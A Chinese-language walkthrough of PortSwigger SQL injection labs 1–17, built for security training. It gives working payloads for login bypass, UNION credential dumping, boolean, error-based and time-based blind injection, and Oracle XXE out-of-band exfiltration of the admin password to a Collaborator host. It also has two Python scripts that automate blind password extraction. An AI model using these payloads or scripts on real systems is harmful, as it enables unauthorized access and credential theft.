PortSwigger(Burpsuite官方靶场)---SQL注入篇详解

PortSwigger(Burpsuite官方靶场)---SQL注入篇详解:

靶场地址:https://portswigger.net/web-security/all-labs
Burupsuite抓取https流量教程:https://www.cnblogs.com/flyingfirework/p/19103677

一、实验室:WHERE子句中的SQL注入漏洞允许检索隐藏数据

这个实验室在产品类别过滤器中存在 SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下的 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示一个或多个未发布的产品

一、解决过程:

先审计上面这段已告知的源代码,可以知道注入点在category参数中,这个参数直译过来是“类别”的意思,也就是说我们要在网站中找到类别参数的传参点。我们先看看网站是什么

image

很明显,是一个基于电商平台的网站,屏幕中间的一些筛选条件可能就和类别有关,我们点一个看看

image

果然找到了类别参数的传参点,将数据包转移到burpsuite中去实验(不会抓取https流量包的师傅可以看看开头)
我们先试试最基本的万能密码

?category=Corporate+gifts%27+or+1=1-- 

image

获取到了隐藏的商品,成功!


二、实验室:允许绕过登录的 SQL 注入漏洞

本实验包含登录功能中的一个 SQL 注入漏洞

要解决本实验,请执行 SQL 注入攻击,并以管理员用户(administrator)身份登录应用程序

二、解决过程:

还是一样的电商页面,但是这个实验室要我们通过administrator的身份登录到电商平台上,正好右边有一个“我的账号”功能

image

点进去看了下,没看到有传参的地方,先随便输入几个东西看看是GET型还是POST型

image

也没有看到URL变化,应该是POST传参。打开burpsuite抓包看看

image

验证结果确实是POST传参,但是这里有csrf_token,我们不好用burpsuite去发包
直接在网站上输入

username:administrator'--(注释掉密码字段,让数据库只读取administrator用户)
password:123

image

成功登录!


三、实验室:SQL注入攻击,查询Oracle数据库类型和版本

此实验包含产品类别过滤器中的 SQL 注入漏洞。您可以使用 UNION 攻击来检索注入查询的结果

要解决此实验,请显示数据库版本字符串。

提示:在 Oracle 数据库中,每个 SELECT 语句都必须指定要从哪个表进行查询。即使您的 UNION SELECT 攻击不从表中查询,您仍然需要包含 FROM 关键字,后跟有效的表名

Oracle 中有一个内置表,名为 dual,您可以用它来实现此目的。例如:

UNION SELECT 'abc' FROM dual

三、解决过程:

首先在打这个实验之前,我们需要学习的内容:
这个实验的数据库是Oracle数据库。虽然和MySQL数据库的语法很相似,但仍有语法不同,特性不同的地方。
比如“SELECT”,在MySQL中,SELECT并不强制后面一定跟FROM。但在Oracle数据库中,一个SELECT必须对应一个FROM。这也是这题为什么给出了一个初始表dual的原因。

知道了上述特性后,我们就能开始着手这题的解答

我们先看看这个实验室长什么样子

image

看不懂,但注入点应该没变,我们接着找category参数

image

这里要我们显示Oracle数据库的版本字符串。但是我们现在并不知道返回的内容有多少列,我们可以用order by去测试返回列数

?category=Gifts' order by 3--

image

测到了order by 3之后报错,说明返回列数有两列。则我们构造SELECT语句的时候,也应构造两列。

?category=Gifts' union select NULL,NULL from dual--

image

是成功的,那说明这里可以采取union select注入

我们尝试获取数据库版本信息

?category=Gifts' union select BANNER,NULL from v$version--

image

获取成功!


四、实验室:SQL注入攻击,查询MySQL和Microsoft的数据库类型和版本

该实验室在产品类别过滤器中存在 SQL 注入漏洞。您可以使用 UNION 攻击从注入查询中检索结果

要解决实验室,请显示数据库版本字符串

四、解决过程:

和Oracle差不多,只不过语法回到了MySQL数据库上

直接一步到位吧

?category=Gifts' union select version(),NULL--+

image

成功


五、实验室:SQL注入攻击,列出非Oracle数据库的数据库内容

这个实验室在产品类别过滤器中存在SQL注入漏洞。查询结果会在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据

该应用程序拥有登录功能,数据库中包含一个存储用户名和密码的表。您需要确定这个表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码

要解决实验室问题,请以管理员用户身份登录

五、解决过程:

终于到拖库阶段了,既然这里是非Oracle数据库,我们暂且先把它当作MySQL数据库去试

测注入点部分我就不放上来了,老样子默认两位显示。我们先找找数据表

?category=Gifts' union select table_name,NULL from information_schema.tables--+

image

找到了一个users_vhfyyn数据表(这个表的名字会变动,实际按照自己打的去找),看看这个表里面的字段是什么

?category=Gifts' union select column_name,NULL from information_schema.columns where table_name='users_vhfyyn'--+

image

image

找到了一个username_ovutui和一个password_pewtze,应该是存放账号和密码的表。我们直接拖

?category=Gifts' union select username_ovutui,password_pewtze from users_vhfyyn--+

image

找到了管理员密码,我们直接登录就可以了

image

成功


六、实验室:SQL注入攻击,列出Oracle上的数据库内容

这个实验室在产品类别过滤器中存在SQL注入漏洞。查询结果会在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据

该应用程序拥有登录功能,数据库中包含一个存储用户名和密码的表。您需要确定这个表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码

要解决实验室问题,请以管理员用户身份登录。

六、解决过程

在解决这个实验室之前,我们先了解一下Oracle数据库注入的基本要素
information_schema这个表是MySQL数据库才具备的,Oracle里面没有这个表
但是,Oracle给出了一个可以直接查询的表,分别是all_tables和all_tab_columns
有了这两个表,注入一样很方便

一样,不废话,直接查表

?category=Gifts' union select table_name,NULL from all_tables--+

image

找到了users_zlvtev表,接下来开始查字段

?category=Gifts' union select column_name,NULL from all_tab_columns where table_name='USERS_ZLVTEV'--+

image

找到了username_dzdwky和password_gkdvpl表,直接拖库

?category=Gifts' union select USERNAME_DZDWKY,PASSWORD_GKDVPL from USERS_ZLVTEV--+

image

有管理员账号密码了,直接登录

image

成功


七、实验室:SQL注入UNION攻击,确定查询返回的列数

这个实验室在产品类别过滤器中存在SQL注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用联合攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术构建完整攻击

要解决这个实验室问题,通过执行一个 SQL 注入 UNION 攻击来确定查询返回的列数,该攻击返回一行包含空值的额外行

七、解决过程

返回有多少列,这个我就不多说了,直接上Payload

?category=Accessories' union select NULL,NULL,NULL--+

image

成功


八、实验室:SQL注入联合攻击,查找包含文本的列

这个实验室在产品类别过滤器中存在 SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此你可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,你首先需要确定查询返回的列数。你可以使用在之前的实验室中学到的技术来做到这一点。下一步是识别一个与字符串数据兼容的列

实验室将提供一个随机值,您需要使其出现在查询结果中。要解决实验室问题,请执行一个 SQL 注入 UNION 攻击,返回一个包含提供值的额外行。此技巧帮助您确定哪些列与字符串数据兼容

八、解决过程

这题本质上还是在查找列,只不过题目给了一个指定的返回内容,注入的时候需要找到可以返回字符串的列,从而将指定内容返回

也没什么好说的,直接上Payload

?category=Gifts' union select NULL,'DuL9yf',NULL--+

image

成功


九、实验室:SQL注入联合攻击,从其他表中检索数据

这个实验室在产品类别筛选中存在SQL注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。要构造这样的攻击,您需要结合您在之前的实验室中学到的某些技术

数据库包含一个名为 users 的不同表,其中有名为 username 和 password 的列

要解决实验室问题,请执行一个 SQL 注入 UNION 攻击,以检索所有用户名和密码,并使用这些信息以管理员身份登录

九、解决过程

题目给了username和password字段和一个users表,直接一步到位

?category=Accessories' union select username,password from users--+

image

直接登录就行了

image

成功


十、实验室:SQL 注入 UNION 攻击,在单个列中检索多个值

这个实验室在产品类别过滤器中存在SQL注入漏洞。查询的结果会在应用程序的响应中返回,因此你可以使用UNION攻击从其他表中检索数据

数据库包含一个名为 users 的不同表,其中有名为 username 和 password 的列

要解决实验室问题,请执行一个 SQL 注入 UNION 攻击,以检索所有用户名和密码,并使用这些信息以管理员身份登录

十、解决过程

测注入点就不写了,实验室已经给出了username和password列,还有一个users表,直接注入就可以了

?category=Gifts' union select NULL,username||'~'||password from users--+

image

直接用获取到的administrator账号登录即可

image

成功


十一、实验室:带条件响应的盲 SQL 注入

这个实验室存在一个盲目SQL注入漏洞。该应用程序使用跟踪cookie进行分析,并执行一个包含提交的cookie值的SQL查询

SQL 查询的结果没有返回,也没有显示错误信息。但如果查询返回任何行,应用程序将在页面中包含欢迎回来消息

数据库包含一个名为用户的不同表,列名为用户名和密码。您需要利用盲SQL注入漏洞来查找管理员用户的密码

要解决实验室问题,请以管理员用户身份登录

十一、解决过程

从这里开始变成了盲注。简单分析了一下题目,查询返回会包含“Welcome back!”,应该属于布尔盲注
先看看实验室长什么样子

image

实验室说这里是cookie注入,那我们就抓包,改cookie值试一下

TrackingId=hIqK26l2PszcCbEP' and '1'='1;

image

有回显,看看条件为假的结果

TrackingId=hIqK26l2PszcCbEP' and '1'='2;

image

当条件为真时,页面会返回一个“Welcome back!”,当条件为假时,页面则正常返回
由此我们可以确定这里是布尔盲注
由于盲注本身的逻辑就是基于枚举判断的,所以这里不推荐手工盲注

这里给出我的脚本(面向ChatGPT编程)

点击查看代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
PortSwigger 第十一实验室布尔盲注自动化脚本(条件响应型)。
作者: ChatGPT
用法:
    python3 blind_sqli_portswigger_cn.py

在运行前请在下面配置 TARGET_URL 与 ORIG_TRACKINGID。
"""

import requests
import string
import sys
import time

# ------------- 配置 -------------
TARGET_URL = "https://www.example.com/"   # 改成实验室的页面(首页或任何会返回 "Welcome back" 的页面)
ORIG_TRACKINGID = "xyz"                   # 从抓包中得到的原始 TrackingId(不要带引号)
CHECK_STRING = "Welcome back"             # 用于判定条件为真的响应中出现的文本
TIMEOUT = 10                              # HTTP 请求超时(秒)
DELAY_BETWEEN_REQS = 0.05                 # 每次请求之间的短延迟(避免触发防护或太快)
MAX_PWD_LEN = 50                          # 尝试的最大密码长度(防止无限循环)
# 字符集:题目提示为小写字母和数字
CHARSET = list(string.ascii_lowercase + string.digits)
# ------------- 配置结束 -------------

session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) automated-blind-sqli-script"
})

def send_with_trackingid(trackingid_value):
    """
    发送请求并返回服务器响应文本。
    将 trackingid_value 直接作为 TrackingId cookie 值发送。
    """
    cookies = {
        "TrackingId": trackingid_value,
        # 如果实验室需要其它登录 cookie,可以在这里加入,比如 "session": "<value>"
    }
    try:
        r = session.get(TARGET_URL, cookies=cookies, timeout=TIMEOUT, allow_redirects=True, verify=True)
        return r.text
    except requests.RequestException as e:
        print(f"[!] HTTP 错误: {e}")
        return ""

def is_condition_true(payload_fragment):
    """
    根据 payload_fragment 构建完整的 TrackingId 注入并检测响应中是否包含 CHECK_STRING。
    payload_fragment 是注入体里用于判断的那部分,比如: "AND (SELECT 'a' FROM users)='a"
    我们按 PortSwigger 的示例把原始 TrackingId 闭合单引号后拼接判断条件。
    """
    injected = ORIG_TRACKINGID + "' " + payload_fragment
    resp = send_with_trackingid(injected)
    return CHECK_STRING in resp

def find_password_length(max_len=MAX_PWD_LEN):
    """逐步测试 LENGTH(password) > n 来确定密码长度"""
    print("[*] 开始探测管理员密码长度...")
    for n in range(1, max_len+1):
        cond = f"AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>{n})='a"
        if is_condition_true(cond):
            print(f"  [>] 密码长度 > {n}  (为真)")
            time.sleep(DELAY_BETWEEN_REQS)
            continue
        else:
            actual_len = n
            print(f"[+] 确定密码长度 = {actual_len}")
            return actual_len
    print("[!] 到达最大测试长度但未结束。考虑增大 MAX_PWD_LEN。")
    return None

def find_password_by_chars(length, charset=CHARSET):
    """逐字符测试 SUBSTRING(password,pos,1) = 'x' 来还原密码"""
    print(f"[*] 开始逐位枚举密码(长度 = {length})")
    password = ["?"] * length
    for pos in range(1, length+1):
        found = False
        for ch in charset:
            # 构造示例: AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
            cond = f"AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator')='{ch}"
            if is_condition_true(cond):
                password[pos-1] = ch
                print(f"  [+] 第 {pos} 位 = {ch}")
                found = True
                break
            time.sleep(DELAY_BETWEEN_REQS)
        if not found:
            print(f"  [!] 第 {pos} 位在字符集中未找到(保留为 '?')。考虑扩展字符集或人工检查。")
    return "".join(password)

def verify_admin_login(username, password):
    """
    (可选)尝试使用找到的凭证登录。
    该函数可能需要根据实验室的登录表单字段与 action URL 调整。
    默认示例尝试 POST 到 TARGET_URL + '/login',并使用常见字段名 'username' 与 'password'。
    """
    login_url = TARGET_URL.rstrip('/') + '/login'    # 可能需根据实际调整
    data = {
        "username": username,
        "password": password
    }
    try:
        r = session.post(login_url, data=data, timeout=TIMEOUT, allow_redirects=True)
        # 用一些启发式标志判断是否登录成功
        if "Your account" in r.text or "Log out" in r.text or "My account" in r.text:
            print("[+] 登录看起来成功(启发式判断)。")
            return True
        else:
            print("[*] 登录尝试未检测到明显的成功标志。")
            return False
    except requests.RequestException as e:
        print(f"[!] 登录请求失败: {e}")
        return False

def main():
    print("=== PortSwigger 风格 布尔盲注 自动化脚本(中文提示) ===")
    print(f"目标: {TARGET_URL}")
    print(f"原始 TrackingId(基础值): {ORIG_TRACKINGID}")
    print("请确保 ORIG_TRACKINGID 正确(来自抓包)。")
    print("2 秒后开始... 按 Ctrl-C 取消。")
    time.sleep(2)

    # 基本的真 / 假 检查
    print("[*] 进行基本的 sanity 检查(真/假对照)...")
    true_check = is_condition_true("AND '1'='1")
    false_check = is_condition_true("AND '1'='2")
    print(f"  -> '1'='1' => {true_check}; '1'='2' => {false_check}")
    if not (true_check and not false_check):
        print("[!] 基本检查失败。请确认注入点或 CHECK_STRING 是否正确。终止。")
        return

    # 可选:确认 users 表和 administrator 用户存在
    if is_condition_true("AND (SELECT 'a' FROM users LIMIT 1)='a"):
        print("[*] 已确认存在 users 表。")
    else:
        print("[!] 无法确认 users 表;继续尝试可能会失败。")

    if is_condition_true("AND (SELECT 'a' FROM users WHERE username='administrator')='a"):
        print("[*] 已确认存在 administrator 用户。")
    else:
        print("[!] 无法确认 administrator 用户,终止。")
        return

    # 探测密码长度
    plen = find_password_length()
    if plen is None:
        print("[!] 无法确定密码长度。")
        return

    # 枚举每个字符
    pwd = find_password_by_chars(plen)
    print("\n=== 结果 ===")
    print(f"恢复的管理员密码(最佳猜测): {pwd}")

    # 可选:尝试登录
    do_login = input("是否尝试用该密码登录管理员账号?[y/N]: ").strip().lower()
    if do_login == 'y':
        ok = verify_admin_login("administrator", pwd)
        print("登录尝试结果:", ok)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] 用户中断。退出。")
        sys.exit(1)

执行完成后,应该会是这个样子

image

利用跑出来的密码登录

image

成功


十二、实验室:带条件错误的盲注 SQL 注入

SQL 查询的结果不会被返回,并且无论查询是否返回任何行,应用程序的响应都不会有任何不同。但如果 SQL 查询导致错误,应用程序会返回一条自定义错误消息

数据库中包含一个名为users的不同表,该表有username(用户名)和password(密码)两个列。你需要利用盲注型 SQL 注入漏洞,找出administrator(管理员)用户的密码

要解决该实验,请以管理员用户身份登录

十二、解决过程

还是cookie注入,我们依然抓包看看是怎么个事

TrackingId=Icss9K1kRq7KTLlP'

image

报错了,如果再闭合这个引号呢?

TrackingId=Icss9K1kRq7KTLlP''

image

又可以正常请求了。但这不能断言这里一定存在SQL注入【外一是其它类型的注入而非SQL语法错误呢?】

我们再进行一下测试

TrackingId=Icss9K1kRq7KTLlP'||(select '')||'

image

报错了,尝试跟FROM dual

TrackingId=Icss9K1kRq7KTLlP'||(select '' from dual)||'

image

Oracle数据库没跑了,同时确实也将输入的语句代入后端执行了,我们可以用除零报错来构造盲注SQL语句

TrackingId=Icss9K1kRq7KTLlP'||(select case when length(password)>1 then to_char(1/0) else '' END FROM users where username='administrator')||'

很长,但很好理解

image

通过构造除零报错来实现报错与正常返回的布尔盲注,报错即为真,正常即为假
那么,知道原理后,我们又可以开始基于ChatGPT编程了

点击查看代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Oracle 错误型盲注自动化脚本(PortSwigger 实验室:conditional errors)
中文注释版
作者: ChatGPT
用法:
    python3 blind_sqli_error_based_fixed.py
说明:
    - 在运行前请配置 TARGET_URL、ORIG_TRACKINGID
    - 根据实验室页面,设置 USE_STATUS_CODE 或 ERROR_SIGNATURE
"""

import requests
import string
import sys
import time

# ---------------- 配置区 ----------------
TARGET_URL = "https://www.example.com/"   # 实验室页面(读取 TrackingId 的页面)
ORIG_TRACKINGID = "xyz"                   # 抓包得到的原始 TrackingId(不要带引号)
USE_STATUS_CODE = True                     # 是否使用 HTTP 状态码判断错误
ERROR_STATUS_CODE = 500                    # 希望检测的出错状态码
ERROR_SIGNATURE = "Internal server error"  # 页面错误字符串(可不启用状态码检测)
TIMEOUT = 10                               # 请求超时(秒)
DELAY_BETWEEN_REQS = 0.05                  # 每次请求间隔(秒)
MAX_PWD_LEN = 50                           # 最大尝试长度
CHARSET = list(string.ascii_lowercase + string.digits)  # 密码字符集
# ---------------- 配置区结束 ----------------

# 建立 Session
session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (compatible; automated-blind-sqli-script/1.0)"
})

def send_with_trackingid(trackingid_value):
    """
    将 trackingid_value 作为 TrackingId cookie 发送,返回 Response 对象
    """
    cookies = {"TrackingId": trackingid_value}
    try:
        r = session.get(TARGET_URL, cookies=cookies, timeout=TIMEOUT, allow_redirects=True, verify=True)
        return r
    except requests.RequestException as e:
        print(f"[!] HTTP 错误: {e}")
        return None

def is_error_response(resp):
    """
    判定给定响应是否为“触发错误”的响应
    """
    if resp is None:
        return False
    if USE_STATUS_CODE and resp.status_code == ERROR_STATUS_CODE:
        return True
    if ERROR_SIGNATURE and ERROR_SIGNATURE in resp.text:
        return True
    return False

def build_injected_cookie(payload_inner):
    """
    构造注入 cookie
    Oracle 错误型盲注形式:
    TrackingId=xyz'||<payload_inner>||'
    """
    return f"{ORIG_TRACKINGID}'||{payload_inner}||'"

def sanity_checks():
    """
    基本自检:单引号、双引号、CASE TRUE/FALSE
    """
    print("[*] 开始基本自检...")
    resp1 = send_with_trackingid(ORIG_TRACKINGID + "'")
    time.sleep(DELAY_BETWEEN_REQS)
    err1 = is_error_response(resp1)
    print(f"  -> 单引号触发错误 ? {err1}")

    resp2 = send_with_trackingid(ORIG_TRACKINGID + "''")
    time.sleep(DELAY_BETWEEN_REQS)
    err2 = is_error_response(resp2)
    print(f"  -> 双单引号触发错误 ? {err2}")

    case_true = "(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)"
    injected_true = build_injected_cookie(case_true)
    resp_t = send_with_trackingid(injected_true)
    time.sleep(DELAY_BETWEEN_REQS)
    err_t = is_error_response(resp_t)
    print(f"  -> CASE(1=1) 是否触发错误 ? {err_t}")

    case_false = "(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)"
    injected_false = build_injected_cookie(case_false)
    resp_f = send_with_trackingid(injected_false)
    time.sleep(DELAY_BETWEEN_REQS)
    err_f = is_error_response(resp_f)
    print(f"  -> CASE(1=2) 是否触发错误 ? {err_f}")

    ok = err1 and (not err2) and err_t and (not err_f)
    if not ok:
        print("[!] 自检未通过,请检查配置")
    else:
        print("[*] 自检通过")
    return ok

def check_users_table():
    payload = "(SELECT '' FROM users WHERE ROWNUM = 1)"
    injected = build_injected_cookie(payload)
    resp = send_with_trackingid(injected)
    time.sleep(DELAY_BETWEEN_REQS)
    if not is_error_response(resp):
        print("[*] users 表存在")
        return True
    else:
        print("[!] users 表可能不存在")
        return False

def check_administrator_exists():
    payload = "(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')"
    injected = build_injected_cookie(payload)
    resp = send_with_trackingid(injected)
    time.sleep(DELAY_BETWEEN_REQS)
    if is_error_response(resp):
        print("[*] administrator 用户存在")
        return True
    else:
        print("[!] administrator 用户不存在或检测失败")
        return False

def find_password_length(max_len=MAX_PWD_LEN):
    print("[*] 探测管理员密码长度...")
    for n in range(1, max_len+1):
        payload_inner = f"(SELECT CASE WHEN LENGTH(password)>{n} THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')"
        injected = build_injected_cookie(payload_inner)
        resp = send_with_trackingid(injected)
        time.sleep(DELAY_BETWEEN_REQS)
        if is_error_response(resp):
            print(f"  [>] 密码长度 > {n}")
            continue
        else:
            print(f"[+] 推断密码长度 = {n}")
            return n
    print("[!] 未能确定密码长度")
    return None

def find_password_by_chars(length, charset=CHARSET):
    print(f"[*] 开始按位枚举密码,长度 = {length}")
    recovered = ["?"] * length
    for pos in range(1, length+1):
        found = False
        for ch in charset:
            payload_inner = f"(SELECT CASE WHEN SUBSTR(password,{pos},1)='{ch}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')"
            injected = build_injected_cookie(payload_inner)
            resp = send_with_trackingid(injected)
            time.sleep(DELAY_BETWEEN_REQS)
            if is_error_response(resp):
                recovered[pos-1] = ch
                print(f"  [+] 第 {pos} 位 = {ch}")
                found = True
                break
        if not found:
            print(f"  [!] 第 {pos} 位未找到")
    return "".join(recovered)

def main():
    print("=== Oracle 错误型盲注自动化 ===")
    print(f"目标: {TARGET_URL}")
    print(f"原始 TrackingId: {ORIG_TRACKINGID}")
    time.sleep(2)

    if not sanity_checks():
        return

    if not check_users_table():
        return

    if not check_administrator_exists():
        return

    plen = find_password_length()
    if plen is None:
        return

    pwd = find_password_by_chars(plen)
    print("\n=== 恢复结果 ===")
    print(f"管理员密码(猜测): {pwd}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] 用户中断,退出")
        sys.exit(0)

注入完成后,可以得到administrator的密码

image

直接登录就可以了

image

成功

十三、实验室:基于可见错误的 SQL 注入

数据库包含一个名为 users 的不同表,里面有名为 username 和 password 的列。要完成实验,找到一种方法泄露管理员用户的密码,然后登录他们的账户

十三、解决过程

依旧抓包改cookie,看看报错

TrackingId=Icss9K1kRq7KTLlP'

image

似乎会把错误语句的执行结果返回出来?注释掉后面的语句试试

TrackingId=Icss9K1kRq7KTLlP'--+

image

是正常的,那说明这里存在基于错误回显的SQL注入

这里先科普一下接下来用到的方式:类型转换报错

CAST(...... AS int):将SELECT类型转换为int型。如果SELECT 返回的不是一个有效的整数,数据库就会抛出一个类型转换错误,并在错误信息中包含那个无法转换的值

其实和updatexml,extractvalue等方式的原理是差不多的,都是构造人为报错来带出显示内容

知道了这个报错原理后,后面的就很容易理解了

既然题目已经告知存在users表,以及username和password列,我们直接构建注入语句:

TrackingId=WlWIAa78T48W4EmN' AND 1=CAST((select username from users) AS int)--+

image

依然是报错的,分析了一下,发现语句返回到AS就结束了,应该是字符太多自动截断了,我们尝试直接删掉原始cookie值,只保留注入语句试试

TrackingId=' AND 1=CAST((select username from users) AS int)--+

image

还是报错的,因为username列里面不仅包含administrator的信息,同时还可能包含了其它数据,这个语句只能查询单行。我们用limit限制一下就可以了

TrackingId=' AND 1=CAST((select username from users limit 1) AS int)--+

image

成功显示出administrator账户,同样的原理我们直接显示密码即可

TrackingId=' AND 1=CAST((select password from users limit 1) AS int)--+

image

有了账号密码,我们直接登录就完成了

image

成功!

十四、实验室:带时间延迟的盲SQL注入

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而有不同的响应。然而,由于查询是同步执行的,因此可以触发条件时间延迟以推断信息

要解决此实验室,请利用 SQL 注入漏洞触发 10 秒的延迟

十四、解决过程:

只要触发10秒延迟就可以了,太简单了,直接上Payload:

TrackingId=x'||pg_sleep(10)--+

image

成功!

十五、实验室:使用时间延迟和信息检索的盲SQL注入

SQL 查询的结果不会返回,并且应用程序对于查询是否返回任何行或导致错误不会有不同的响应。然而,由于查询是同步执行的,因此可以触发条件时间延迟以推断信息

数据库包含一个名为 users 的不同表,该表有名为 username 和 password 的列。你需要利用盲注 SQL 注入漏洞来找出管理员用户的密码。要完成实验室,请以管理员用户身份登录

十五、解决过程:

有一说一本人很讨厌时间盲注(又臭又长),但没办法该学还得学

既然已经知道存在users表,并且知晓username和password列,甚至题目告诉你了administrator(因为我翻译成中文了,管理员=administrator),我们直接开始操作

构造如下语句:

TrackingId=x'%3Bselect+case+when+(username='administrator'+and+length(password)>1)+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--+

简单描述一下原理,通过WHEN...THEN...ELSE构造条件语句,如果username='administrator'且密码长度>1,则延时10秒,否则不延时

但是一个一个测,太麻烦了,这里直接给出长度:20(时间盲注也没有什么好截图的)

知晓了长度为20后,接下来才是盲注的重点

我们怎么一个一个测出来每一位是什么?

Python脚本是可以的,但是既然是portswigger的实验室,这里就用Burpsuite操作吧

先构思语句:

TrackingId=x'%3Bselect+case+when+(username='administrator'+and+substring(password,1,1)='a')+then+pg_sleep(10)+else+pg_sleep(0)+end+from+users--+

然后将其丢入到Burpsuite的攻击器中,载荷类型选择集束炸弹,将提取字符的位置和猜测字符的变量设置为攻击变量【图中="a"的双引号是有问题的,改成单引号''】

image

第一个变量也就是提取字符的位置,设置为数字变量,只提取1-20位

image

第二个变量也就是猜测字符的位置,设置为0-9,a-z(这里可以不用大写,根据前面靶场的经验,这里密码一般都是小写+数字)

image

完成了以后,我们设置线程为1(多线程会报错,我也不知道为什么)

image

然后就可以开始漫长的等待环节了

跑完后,点击按时间降序排序,将延迟>=10000的设置为高亮,然后筛选更改为仅显示高亮内容,按照第一个变量升序排序

image

image

得出密码:u1nc9hqp43j8ox(m)31(x)8y3m【Burpsuite有误差很正常,而且是国外网站,网络不稳定就会出现多样结果】

最后试出来为:u1nc9hqp43j8om318y3m

image

成功!

十六、实验室:采用带外交互功能进行盲SQL注入

本实验室包含盲SQL注入漏洞。应用程序使用跟踪Cookie进行分析,并执行包含所提交Cookie值的SQL查询

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的外带交互

要解决实验室问题,请利用SQL注入漏洞,对Burp Collaborator进行DNS查询

十六、解决过程:

从十六到十八,都是带外注入了。我尽量用初学者易懂的方式简单说一下带外和带内的区别

带内:

在很多安全测试中,我们发送一个请求 --> 看服务器的响应 --> 判断有没有漏洞。
这属于 “带内(In-Band)”交互 —— 一进一出,漏洞直接能在响应里看出来

带外:

攻击者无法通过当前响应直接获得结果,因此通过外部通道(Out-of-band)将数据“带出”目标系统

了解了带内和带外的区别,我们还需要了解BurpSuite的Collaborator模块(依旧初学者易懂):

简单理解Collaborator的话,可以抽象的理解为Collaborator模块就是一个监听服务模块

Collaborator模块提供一个公共的协作服务器 *.burpcollaborator.net(最新的Burpsuite可能会提供更多的域名服务器)

我们可以使用Collaborator提供的域名服务器,将SQL注入的回显通过DNS外带的方式显示出来

了解完了之后我们可以正式开始渗透了

首先依旧是cookie注入,我们还是先抓包

image

问题来了,我们并不知道如何通过SQL注入发起DNS请求,所以我们的Payload构建不了?

其实不然,Portswigger提供了一份SQL注入载荷的查询表,可以借助查询表来找找有没有需要用到的Payload

image

找到了基于XXE实现DNS请求的载荷,我们先将Collaborator模块配置好,请求一个服务器,我申请到的结果如下(Burpsuite给我生成基于oastify.com提供方的域名,也可以使用):

euc7y1uufjehqw2ngt3xa14jxa31rrfg.oastify.com

注入语句如下:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

我们需要替换掉http://BURP-COLLABORATOR-SUBDOMAIN/ ,最终结果如下:

ON8TtkGwKCyJBdtC'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//euc7y1uufjehqw2ngt3xa14jxa31rrfg.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--+

将注入语句发送到服务端,如果成功实现注入结果带外,则Collaborator应有回显

image

成功!

十七、实验室:采用带外数据泄漏的盲SQL注入

本实验室包含盲SQL注入漏洞。应用程序使用跟踪Cookie进行分析,并执行包含所提交Cookie值的SQL查询

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的外带交互

数据库包含一个名为users带有调用的列username和password。您需要利用盲SQL注入漏洞来查询密码administrator用户。要解决实验室问题,请以该实验室身份登录administrator用户

十七、解决过程:

还是带外注入,其实就一点问题,SQL查询语句应该如何拼接在整个注入语句中?

题目已经告知username和password列,并且告诉表名users。那么查administrator的密码,我们可以很轻松的构造一个SQL查询语句:

SELECT password FROM users WHERE username='administrator'

构造了语句后,我们通过上一实验,知道了基于XXE的DNS外带方式,所以我们应当将查询结果拼接至DNS的域名中,通过域名显示的方式带出来,则我们可以构造语句:

x(这里代表cookie)'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--+

我这里申请到的域名是p1ri5c15mulsx79yn4a8hcbu4lady3ms.oastify.com,所以最终语句是:

xdSEsmS20YFKmPr5'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.p1ri5c15mulsx79yn4a8hcbu4lady3ms.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--+

image

去掉域名本身,得到结果为:

 nhs2i7ehdq2w098f5mk3

尝试登录

image

成功!

未完待续......

